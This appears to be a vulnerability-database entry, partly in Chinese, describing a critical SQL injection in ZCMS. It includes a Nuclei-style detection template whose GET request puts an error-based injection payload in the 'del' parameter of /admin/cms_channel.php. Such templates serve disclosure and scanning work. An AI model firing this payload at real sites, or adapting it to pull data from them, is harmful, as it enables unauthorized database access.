zcms-v3-sqli: ZCMS - SQL Injection

日期: 2025-08-01 | 影响软件: ZCMS | POC: 已公开

漏洞描述

ZCMS contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

PoC代码[已公开]

id: zcms-v3-sqli

info:
  name: ZCMS - SQL Injection
  author: princechaddha
  severity: critical
  description: ZCMS contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://www.anquanke.com/post/id/183241
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: zcms,sqli,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/cms_channel.php?del=123456+AND+(SELECT+1+FROM(SELECT+COUNT(*)%2cCONCAT(0x7e%2cmd5({{num}})%2c0x7e%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)--%2b'"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{{md5({{num}})}}'
        part: body

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ad8504b48ff0dd357f337ee644d6a6dfcfb3af1dc3d30d37dc11c5dfbdebaf5a022100b55810bbd56d7c68dd783badd8db974af73c126fcdfbf882576fde86a79fe9e9:922c64590222798bb761d5b6d8e72950

相关漏洞推荐